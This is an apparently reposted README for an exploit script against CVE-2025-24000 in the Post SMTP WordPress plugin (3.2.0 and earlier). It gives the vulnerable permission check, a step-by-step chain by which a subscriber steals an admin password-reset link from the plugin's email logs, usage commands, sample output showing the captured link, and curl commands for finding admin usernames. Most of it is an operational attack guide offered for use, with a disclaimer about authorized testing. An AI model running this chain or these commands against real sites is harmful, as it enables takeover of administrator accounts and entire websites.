CVE-2025-24000 — Post SMTP Privilege Escalation Exploit

Overview

This script exploits CVE-2025-24000, a high-severity broken access control vulnerability in the Post SMTP WordPress plugin (versions ≤ 3.2.0). It allows any authenticated user with a low-privilege account (e.g. Subscriber) to access the plugin's REST API email logs, steal an admin password reset link, and take over the administrator account.

• CVE: CVE-2025-24000
• Plugin: Post SMTP (WPExperts)
• Affected versions: ≤ 3.2.0
• Fixed in: 3.3.0
• CVSS Score: 8.8 (High)
• Impact: Privilege Escalation → Full Admin Account Takeover

How It Works

The vulnerability stems from a flawed permission check in the plugin's REST API:

// Vulnerable code (≤ 3.2.0)
public function get_logs_permission() {
    return is_user_logged_in();
}

Any logged-in user, regardless of role, can access endpoints intended for administrators only:

• GET /wp-json/psd/v1/get-logs
• GET /wp-json/psd/v1/get-details?id=<id>&type=show_view
• POST /wp-json/psd/v1/resend-email

Exploit Chain

1. Register or use an existing low-privilege WordPress account (Subscriber)
2. Log in and obtain a WP REST nonce from /wp-admin/
3. Trigger a password reset for the admin account
4. Read the email logs via the unprotected REST API
5. Extract the password reset link from the log
6. Use the reset link to set a new admin password
7. Log into /wp-admin as administrator

Requirements

• Python 3.x
• requests library (pip install requests)
• A registered account on the target WordPress site (Subscriber level is enough)

Usage

python3 exploit_cve_2025_24000.py \
  --url <wordpress_base_url> \
  --username <your_subscriber_username> \
  --password <your_subscriber_password> \
  --email <admin_username_or_email>

Arguments

Example

python3 exploit_cve_2025_24000.py \
  --url http://samurai.local/samurai/ \
  --username attacker \
  --password Password1 \
  --email shogun

Expected Output

[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...

[+] RESET LINK FOUND:
    http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun

[*] Visit the link above to set a new admin password and take over the site.

Tips

• If the admin username is unknown, enumerate it via the WP REST API:
  root@kitploit:~

  curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
  

  Or via author enumeration:
  root@kitploit:~

  curl -s 'http://target.local/?author=1' -I | grep -i location
  

• The reset link is single-use and expires — use it immediately after extraction
• If logs are empty, make sure the site is configured to send mail through Post SMTP (not PHP mail)

References

• Patchstack Advisory: https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability
• GitHub Advisory: https://github.com/advisories/GHSA-2fgh-78wf-f9v9
• Reproduction Walkthrough: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24000

Disclaimer

This tool is intended for authorized penetration testing and educational purposes only. Do not use against systems you do not have explicit permission to test.